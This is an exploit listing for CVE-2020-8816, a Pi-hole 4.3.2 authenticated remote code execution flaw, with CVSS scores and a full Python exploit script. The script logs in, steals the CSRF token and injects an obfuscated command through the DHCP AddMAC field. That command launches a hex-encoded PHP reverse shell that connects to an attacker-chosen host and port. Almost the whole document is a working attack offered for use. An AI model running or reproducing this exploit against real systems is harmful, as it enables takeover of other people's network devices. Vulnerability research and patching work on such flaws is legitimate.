Pi-hole 4.3.2 Remote Code Execution

2020.08.04
Credit: Luis Vacacas
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/env python2 # Exploit Title: Pi-hole 4.3.2 - Remote Code Execution (Authenticated) # Date: 2020-08-04 # Exploit Author: Luis Vacas @CyberVaca # Vendor Homepage: https://pi-hole.net/ # Software Link: https://github.com/pi-hole/pi-hole # Version: >= 4.3.2 # Tested on: Ubuntu 19.10 # CVE : CVE-2020-8816 # Twitter: https://twitter.com/cybervaca_ import requests import argparse import base64 class Color: PURPLE = '\033[95m' CYAN = '\033[96m' DARKCYAN = '\033[36m' BLUE = '\033[94m' GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BOLD = '\033[1m' UNDERLINE = '\033[4m' END = '\033[0m' def informa(msg): print (Color.GREEN + "[" + Color.RED + "+" + Color.GREEN + "] " + msg ) def get_args(): parser = argparse.ArgumentParser(description='CVE-2020-8816 Pi-hole RCE authenticated by @CyberVaca_') parser.add_argument('-u', dest='url', type=str, required=True, help="URL Target") parser.add_argument('-p', dest='port', type=str, required=True, help="LPORT") parser.add_argument('-i', dest='ip', type=str, required=True, help='LHOST') parser.add_argument('-pass', dest='password', type=str, required=True, help='Password') return parser.parse_args() banner = base64.b64decode("4pWU4pWQ4pWX4pSsIOKUrOKUjOKUkOKUjCAg4pWU4pWQ4pWX4pSs4pSsIOKUrOKUjOKUgOKUkOKUrCAg4pSM4pSA4pSQCuKVoOKVkOKVneKUguKUguKUguKUguKUguKUgiAg4pWg4pWQ4pWd4pSC4pSc4pSA4pSk4pSCIOKUguKUgiAg4pSc4pSkCuKVqSAg4pSU4pS04pSY4pSY4pSU4pSYICDilakgIOKUtOKUtCDilLTilJTilIDilJjilLTilIDilJjilJTilIDilJgKICAgICAgYnkgQEN5YmVyVmFjYQo=") def login(url,password): session = requests.Session() paramsGet = {"login":""} paramsPost = {"pw":password} headers = {"Origin":url,"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0","Connection":"close","Referer":url + "/admin/index.php?login","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"} cookies = {"PHPSESSID":"cabesha"} response = session.post(url + "/admin/index.php", data=paramsPost, params=paramsGet, headers=headers, cookies=cookies, allow_redirects=False) token = response.content.split("<!-- Send token to JS -->")[0].split("<!-- /JS Warning -->")[1].split('</div><script src="scripts/pi-hole/js/header.js"></script>')[0].split("<div id='token' hidden>")[1] return token def shell_reverse(url,token,payload): session = requests.Session() paramsGet = {"tab":"piholedhcp"} paramsPost = {"AddMAC":"aaaaaaaaaaaa&&W=\x24{PATH\x23/???/}&&P=\x24{W%%?????:*}&&X=\x24{PATH\x23/???/??}&&H=\x24{X%%???:*}&&Z=\x24{PATH\x23*:/??}&&R=\x24{Z%%/*}&&\x24P\x24H\x24P\x24IFS-\x24R\x24IFS'EXEC(HEX2BIN(\"" + str(payload).upper() + "\"));'&&","field":"DHCP","AddIP":"192.168.1.0","AddHostname":"192.168.1.23","addstatic":"","token":token} headers = {"Origin":url,"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0","Connection":"close","Referer":"http://172.31.11.3/admin/settings.php?tab=piholedhcp","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"} cookies = {"PHPSESSID":"cabesha"} response = session.post(url + "/admin/settings.php", data=paramsPost, params=paramsGet, headers=headers, cookies=cookies) def generate_shell(ip,port): payload = "php -r '$sock=fsockopen(\"LHOST\", LPORT);exec(\"/bin/sh -i <&3 >&3 2>&3\");'".replace("LHOST",ip).replace("LPORT",port) informa("Payload: " + Color.END + payload) payload = payload.encode("hex") return payload if __name__ == '__main__': print(Color.RED + banner + Color.END) args = get_args() token = login(args.url,args.password) informa("Token: " + Color.END + token) payload = generate_shell(args.ip,args.port) informa("Sending Payload..." + Color.END) shell_reverse(args.url,token,payload)


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